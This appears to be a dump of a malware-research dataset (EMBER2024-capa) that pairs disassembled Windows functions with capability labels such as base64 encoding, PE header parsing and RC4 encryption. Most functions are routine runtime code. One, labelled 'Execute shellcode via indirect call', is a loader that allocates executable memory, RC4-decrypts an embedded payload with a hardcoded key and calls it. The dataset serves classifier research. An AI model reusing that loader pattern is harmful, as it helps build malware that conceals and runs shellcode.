joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001d590
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
mov r10, qword [rsp + 0x50]
test r10, r10
je 0x14001d5ea
mov r11, rdx
movabs rsi, 0xaaaaaaaaaaaaaaab
mov rax, r10
mul rsi
shr rdx, 1
imul rsi, r10
movabs rdi, 0x5555555555555555
xor eax, eax
cmp rsi, rdi
seta al
add rax, rdx
mov rsi, rax
shr rsi, 0x3e
je 0x14001d5f6
mov qword [r8], 0xffffffffffffffff
mov eax, 0xffffffd6
jmp 0x14001d71d
mov qword [r8], 0
jmp 0x14001d71b
lea rax, [rax*4 + 1]
test rcx, rcx
je 0x14001d621
cmp rax, r11
ja 0x14001d621
cmp r10, 3
jae 0x14001d62e
xor edx, edx
mov r15, rcx
cmp rdx, r10
jb 0x14001d6b1
jmp 0x14001d70e
mov qword [r8], rax
mov eax, 0xffffffd6
jmp 0x14001d71d
lea r11, [rdx + rdx*2]
xor edx, edx
lea r14, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov r15, rcx
nop
movzx eax, byte [r9 + rdx]
movzx esi, byte [r9 + rdx + 1]
movzx edi, byte [r9 + rdx + 2]
mov rbx, rax
shr rbx, 2
movzx ebx, byte [rbx + r14]
mov byte [r15], bl
shl eax, 4
mov rbx, rsi
shr rbx, 4
and eax, 0x30
or rax, rbx
movzx eax, byte [r14 + rax]
mov byte [r15 + 1], al
mov rax, rdi
shr rax, 6
and esi, 0xf
lea rax, [rax + rsi*4]
movzx eax, byte [r14 + rax]
mov byte [r15 + 2], al
and edi, 0x3f
movzx eax, byte [rdi + r14]
mov byte [r15 + 3], al
add r15, 4
add rdx, 3
cmp rdx, r11
jb 0x14001d640
add r9, rdx
cmp rdx, r10
jae 0x14001d70e
movzx esi, byte [r9]
add rdx, 1
xor r11d, r11d
cmp rdx, r10
jae 0x14001d6c6
movzx r11d, byte [r9 + 1]
mov rax, rsi
shr rax, 2
shl esi, 4
mov ebx, r11d
shr rbx, 4
and esi, 0x30
or rsi, rbx
lea rdi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov al, byte [rax + rdi]
mov byte [r15], al
mov al, byte [rdi + rsi]
mov byte [r15 + 1], al
mov r9b, 0x3d
cmp rdx, r10
jae 0x14001d701
and r11d, 0xf
mov r9b, byte [rdi + r11*4]
mov byte [r15 + 2], r9b
mov byte [r15 + 3], 0x3d
add r15, 4
mov rax, r15
sub rax, rcx
mov qword [r8], rax
mov byte [r15], 0
xor eax, eax
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x14001d730
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
mov rsi, qword [rsp + 0x60]
test rsi, rsi
je 0x14001d954
xor r14d, r14d
lea r10, [0x140043980]
xor edi, edi
xor r11d, r11d
xor ebp, ebp
cmp r11, rsi
jae 0x14001d780
nop
cmp byte [r9 + r11], 0x20
jne 0x14001d780
add r11, 1
add ebp, 1
cmp rsi, r11
jne 0x14001d760
jmp 0x14001d826
cmp r11, rsi
je 0x14001d948
mov rax, rsi
sub rax, r11
mov bl, byte [r9 + r11]
cmp rax, 2
jb 0x14001d7c0
cmp bl, 0xd
jne 0x14001d7c0
cmp byte [r11 + r9 + 1], 0xa
je 0x14001d817
mov bl, 0xd
test ebp, ebp
je 0x14001d7f0
jmp 0x14001d968
cmp bl, 0xa
je 0x14001d817
mov eax, 0xffffffd4
test ebp, ebp
jne 0x14001d95d
cmp bl, 0x3d
jne 0x14001d7e8
add r14d, 1
mov bl, 0x3d
cmp r14d, 2
jbe 0x14001d7f0
jmp 0x14001d95d
test bl, bl
js 0x14001d95d
movzx eax, bl
mov bl, byte [rax + r10]
mov eax, 0xffffffd4
cmp bl, 0x7f
je 0x14001d95d
test r14d, r14d
je 0x14001d813
cmp bl, 0x40
jb 0x14001d95d
add rdi, 1
add r11, 1
cmp r11, rsi
jb 0x14001d757
jmp 0x14001d829
mov r11, rsi
test rdi, rdi
je 0x14001d954
mov rax, rdi
shr rax, 2
and rax, 0xfffffffffffffffe
lea rax, [rax + rax*2]
and edi, 7
lea rsi, [rdi + rdi*2]
add rsi, rsi
add rsi, 7
shr rsi, 3
mov edi, r14d
sub rax, rdi
add rax, rsi
test rcx, rcx
je 0x14001d936
cmp rax, rdx
ja 0x14001d936
mov r14, rcx
test r11, r11
je 0x14001d940
mov r12d, 3
xor edx, edx
movabs r15, 0x100002400
mov r14, rcx
xor ebp, ebp
xor eax, eax
jmp 0x14001d8b1
mov ebx, ebp
add rdx, 1
mov ebp, ebx
cmp r11, rdx
je 0x14001d940
movzx esi, byte [r9 + rdx]
cmp rsi, 0x20
ja 0x14001d8c2
bt r15, rsi
jb 0x14001d8a0
movzx ebx, byte [rsi + r10]
xor edi, edi
cmp sil, 0x3d
sete dil
sub r12d, edi
mov esi, ebp
shl esi, 6
and ebx, 0x3f
or ebx, esi
add rax, 1
cmp rax, 4
jne 0x14001d8a2
test r12d, r12d
je 0x14001d907
mov eax, ebp
shr eax, 0xa
mov byte [r14], al
cmp r12d, 1
jne 0x14001d90e
add r14, 1
mov r12d, 1
jmp 0x14001d92f
xor eax, eax
xor r12d, r12d
jmp 0x14001d8a2
shr ebp, 2
mov byte [r14 + 1], bpl
cmp r12d, 3
jb 0x14001d925
mov byte [r14 + 2], bl
add r14, 3
jmp 0x14001d92f
add r14, 2
mov r12d, 2
xor eax, eax
jmp 0x14001d8a2
mov qword [r8], rax
mov eax, 0xffffffd6
jmp 0x14001d95d
sub r14, rcx
mov qword [r8], r14
jmp 0x14001d95b
mov r11, rsi
test rdi, rdi
jne 0x14001d832
mov qword [r8], 0
xor eax, eax
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov eax, 0xffffffd4
jmp 0x14001d95d

Function at 0x14001eb40
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
movaps xmm0, xmmword [str.expand_32_byte_k]
movups xmmword [rcx], xmm0
mov eax, dword [rdx]
mov dword [rcx + 0x10], eax
mov eax, dword [rdx + 4]
mov dword [rcx + 0x14], eax
mov eax, dword [rdx + 8]
mov dword [rcx + 0x18], eax
mov eax, dword [rdx + 0xc]
mov dword [rcx + 0x1c], eax
mov eax, dword [rdx + 0x10]
mov dword [rcx + 0x20], eax
mov eax, dword [rdx + 0x14]
mov dword [rcx + 0x24], eax
mov eax, dword [rdx + 0x18]
mov dword [rcx + 0x28], eax
mov eax, dword [rdx + 0x1c]
mov dword [rcx + 0x2c], eax
xor eax, eax
ret
Function at 0x14002a394
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14002a4c4
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1401eb7d0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1401eb7e0]
mov dword [rax], 1
mov rax, qword [0x1401eb7f0]
mov dword [rax], 1
mov rax, qword [0x1401eb780]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1401eb7c0]
mov dword [0x1401ee00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1401eb8a0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1401eb880]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1401eb730]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001db0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1401ee0a4]
mov rbx, rcx
test esi, esi
jle 0x140001ee0
mov rax, qword [0x1401ee0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001dfb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001e85
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001de0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001f02
mov rax, qword [0x1401ee0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1401ee0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001ee7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001e7e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001e90
add dword [0x1401ee0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1401ee0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001e7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001e08
mov rax, qword [0x1401ee0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002470
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1401ee100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1401ee0e0]
test rbx, rbx
je 0x1400024cc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400024c3
test rsi, rsi
je 0x1400024c3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400024a8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400026e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400026f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002700
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002710
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000275d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002754
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000275f
add rax, 0x28
cmp rax, r9
jne 0x140002740
xor eax, eax
ret

Function at 0x140002760
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400027f0
mov rdx, qword [0x1401eb780]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400027de
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400027de
cmp word [rax + 0x18], 0x20b
jne 0x1400027de
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400027f0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400027c9
add rbx, 0x28
cmp rbx, rdi
je 0x1400027f0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400027c0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002800
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1401eb780]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002820
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002828
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002820
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000287d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002874
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002820
add rax, 0x28
cmp rax, r9
jne 0x140002860
xor eax, eax
ret

Function at 0x140002880
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1401eb780]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000289f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400028a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000289f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400028c0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1401eb780]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400028e0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400028e8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400028e0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002930
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002927
test rcx, rcx
je 0x1400028e0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002918
xor eax, eax
ret
Function at 0x140002940
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1401eb780]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000295f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002968
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002980
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1401eb780]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400029a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400029a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400029a0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400029a0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400029f4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002a00
add rdx, 0x28
cmp r9, rdx
jne 0x1400029e0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002a10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1401eb780]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002a32
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002a40
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002a32
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002a32
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002a32
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002a95
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002aa8
add rdx, 0x28
cmp rdx, r10
jne 0x140002a80
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002ab7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002ac7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002a9e
test ecx, ecx
jg 0x140002ab0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400010a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
xor r11d, r11d
movsxd r9, r9d
mov rbx, rcx
mov r10d, r11d
test r9, r9
je 0x140001124
sub rdx, r8
lea eax, [r11 + 1]
and eax, 0x800000ff
jge 0x1400010d7
dec eax
or eax, 0xffffff00
inc eax
movsxd r11, eax
movzx esi, byte [r11 + rbx]
add r10d, esi
and r10d, 0x800000ff
jge 0x1400010f8
dec r10d
or r10d, 0xffffff00
inc r10d
movsxd rcx, r10d
mov al, byte [rcx + rbx]
mov byte [r11 + rbx], al
mov byte [rcx + rbx], sil
movzx eax, byte [r11 + rbx]
add rax, rsi
movzx eax, al
mov cl, byte [rax + rbx]
xor cl, byte [rdx + r8]
mov byte [r8], cl
inc r8
sub r9, 1
jne 0x1400010c3
mov rbx, qword [rsp + 8]
xor eax, eax
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret

Function at 0x140001188
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [section..data]
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9d, dword [section..data]
mov rbx, rax
mov r8d, r9d
test r9d, r9d
je 0x1400011c9
xor edx, edx
mov rcx, rax
call fcn.1400011ec
mov r9d, dword [section..data]
mov r8, rbx
lea rdx, [0x140003004]
lea rcx, str.DRGtIKRtPwuRJNnXuMnecCLeAtCCQkkEfcCkSuay
call fcn.140001138
call rbx
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x1800041b4
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push r14
sub rsp, 0x60
and dword [rax - 0x48], 0
mov rdi, rcx
mov r8d, dword [0x1801a9b20]
mov sil, dl
movaps xmmword [rax - 0x18], xmm6
movss xmm6, dword [0x1801584fc]
mov dword [rax - 0x40], 0xff
mov rax, qword gs:[0x58]
mov ecx, 4
mov rax, qword [rax + r8*8]
mov eax, dword [rcx + rax]
cmp dword [0x1801aa5f0], eax
jg 0x180004385
movabs rbx, 0xcbf29ce484222325
xor edx, edx
mov rcx, rbx
movabs r14, 0x100000001b3
movzx eax, byte [rsp + rdx + 0x70]
inc rdx
xor rcx, rax
imul rcx, r14
cmp rdx, 8
jb 0x18000422b
mov rax, qword [0x1801aa5e0]
mov rdx, qword [0x1801aa5c8]
and rax, rcx
mov r9, qword [0x1801aa5b8]
add rax, rax
mov rcx, qword [rdx + rax*8 + 8]
cmp rcx, r9
je 0x18000427c
mov r8, qword [rdx + rax*8]
jmp 0x180004274
cmp rcx, r8
je 0x18000427c
mov rcx, qword [rcx + 8]
cmp rdi, qword [rcx + 0x10]
jne 0x18000426b
jmp 0x18000427e
xor ecx, ecx
test rcx, rcx
mov rax, r9
cmovne rax, rcx
cmp rax, r9
jne 0x1800042ff
and dword [rsp + 0x38], 0
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x30], rdi
call fcn.180004b18
xor ecx, ecx
movzx eax, byte [rsp + rcx + 0x70]
inc rcx
xor rbx, rax
imul rbx, r14
cmp rcx, 8
jb 0x1800042a8
and rbx, qword [0x1801aa5e0]
mov rdx, qword [0x1801aa5c8]
add rbx, rbx
mov rax, qword [0x1801aa5b8]
mov rcx, qword [rdx + rbx*8 + 8]
cmp rcx, rax
je 0x1800042f6
mov r8, qword [rdx + rbx*8]
jmp 0x1800042ee
cmp rcx, r8
je 0x1800042f6
mov rcx, qword [rcx + 8]
cmp rdi, qword [rcx + 0x10]
jne 0x1800042e5
jmp 0x1800042f8
xor ecx, ecx
test rcx, rcx
cmovne rax, rcx
mov rcx, qword [0x1801aa2d0]
lea r8, [rax + 0x18]
mov edx, dword [r8]
subss xmm6, dword [rcx + 0x18]
mulss xmm6, dword [0x1801585e0]
test sil, sil
je 0x180004334
cmp edx, 0xff
jge 0x18000434a
movd xmm0, edx
cvtdq2ps xmm0, xmm0
addss xmm0, xmm6
jmp 0x180004343
test edx, edx
jle 0x18000434a
movd xmm0, edx
cvtdq2ps xmm0, xmm0
subss xmm0, xmm6
cvttss2si edx, xmm0
mov dword [r8], edx
movaps xmm6, xmmword [rsp + 0x50]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x18]
lea rcx, [rsp + 0x20]
mov rsi, qword [r11 + 0x20]
lea rax, [rsp + 0x28]
mov rdi, qword [r11 + 0x28]
test edx, edx
cmovns rcx, r8
cmp edx, 0xff
cmovle rax, rcx
mov eax, dword [rax]
mov dword [r8], eax
mov rsp, r11
pop r14
ret
lea rcx, [0x1801aa5f0]
call fcn.1800661ec
cmp dword [0x1801aa5f0], 0xffffffff
jne 0x180004212
mov ecx, 0x20
call fcn.180066108
xorps xmm0, xmm0
lea rcx, [0x1801aa5c8]
mov r8, rax
mov edx, 0x10
mov qword [rax], rax
mov qword [rax + 8], rax
and qword [0x1801aa5c8], 0
mov qword [0x1801aa5b8], rax
movdqa xmmword [0x1801aa5d0], xmm0
mov qword [0x1801aa5e0], 7
mov qword [0x1801aa5e8], 8
mov dword [0x1801aa5b0], 0x3f800000
call fcn.180004794
lea rcx, [0x1800d2250]
call fcn.1800665bc
lea rcx, [0x1801aa5f0]
call fcn.180066180
jmp 0x180004212
Function at 0x1800044bc
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
movss dword [rax + 0x20], xmm3
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x70
and dword [rax - 0x68], 0
mov rdi, rcx
mov r8d, dword [0x1801a9b20]
mov sil, dl
movaps xmmword [rax - 0x28], xmm6
movss xmm6, dword [0x1801584fc]
movaps xmmword [rax - 0x38], xmm7
movaps xmm7, xmm3
mov rax, qword gs:[0x58]
mov ecx, 4
mov rax, qword [rax + r8*8]
mov eax, dword [rcx + rax]
cmp dword [0x1801aa5f4], eax
jg 0x180004689
movabs rbx, 0xcbf29ce484222325
xor edx, edx
mov rcx, rbx
movabs rbp, 0x100000001b3
movzx eax, byte [rsp + rdx + 0x90]
inc rdx
xor rcx, rax
imul rcx, rbp
cmp rdx, 8
jb 0x180004531
mov rax, qword [0x1801aa5a0]
mov rdx, qword [0x1801aa588]
and rax, rcx
mov r9, qword [0x1801aa578]
add rax, rax
mov rcx, qword [rdx + rax*8 + 8]
cmp rcx, r9
je 0x180004585
mov r8, qword [rdx + rax*8]
jmp 0x18000457d
cmp rcx, r8
je 0x180004585
mov rcx, qword [rcx + 8]
cmp rdi, qword [rcx + 0x10]
jne 0x180004574
jmp 0x180004587
xor ecx, ecx
test rcx, rcx
mov rax, r9
cmovne rax, rcx
cmp rax, r9
jne 0x18000460b
and dword [rsp + 0x30], 0
lea r8, [rsp + 0x28]
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x28], rdi
call fcn.1800048d4
xor ecx, ecx
movzx eax, byte [rsp + rcx + 0x90]
inc rcx
xor rbx, rax
imul rbx, rbp
cmp rcx, 8
jb 0x1800045b1
and rbx, qword [0x1801aa5a0]
mov rdx, qword [0x1801aa588]
add rbx, rbx
mov rax, qword [0x1801aa578]
mov rcx, qword [rdx + rbx*8 + 8]
cmp rcx, rax
je 0x180004602
mov r8, qword [rdx + rbx*8]
jmp 0x1800045fa
cmp rcx, r8
je 0x180004602
mov rcx, qword [rcx + 8]
cmp rdi, qword [rcx + 0x10]
jne 0x1800045f1
jmp 0x180004604
xor ecx, ecx
test rcx, rcx
cmovne rax, rcx
mov rcx, qword [0x1801aa2d0]
lea rdx, [rax + 0x18]
movss xmm0, dword [rdx]
subss xmm6, dword [rcx + 0x18]
mulss xmm6, dword [0x180158430]
test sil, sil
je 0x180004637
comiss xmm0, xmm7
jae 0x180004648
addss xmm0, xmm6
jmp 0x180004644
comiss xmm0, dword [0x1801583dc]
jbe 0x180004648
subss xmm0, xmm6
movss dword [rdx], xmm0
comiss xmm0, dword [0x1801583dc]
mov rbx, qword [rsp + 0x98]
lea rcx, [rsp + 0x20]
lea rax, [rsp + 0xa8]
movaps xmm6, xmmword [rsp + 0x60]
cmovae rcx, rdx
comiss xmm7, xmm0
movaps xmm7, xmmword [rsp + 0x50]
cmovae rax, rcx
movss xmm0, dword [rax]
movss dword [rdx], xmm0
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
lea rcx, [0x1801aa5f4]
call fcn.1800661ec
cmp dword [0x1801aa5f4], 0xffffffff
jne 0x180004518
mov ecx, 0x20
call fcn.180066108
xorps xmm0, xmm0
lea rcx, [0x1801aa588]
mov r8, rax
mov edx, 0x10
mov qword [rax], rax
mov qword [rax + 8], rax
and qword [0x1801aa588], 0
mov qword [0x1801aa578], rax
movdqa xmmword [0x1801aa590], xmm0
mov qword [0x1801aa5a0], 7
mov qword [0x1801aa5a8], 8
mov dword [0x1801aa570], 0x3f800000
call fcn.180004794
lea rcx, [0x1800d225c]
call fcn.1800665bc
lea rcx, [0x1801aa5f4]
call fcn.180066180
jmp 0x180004518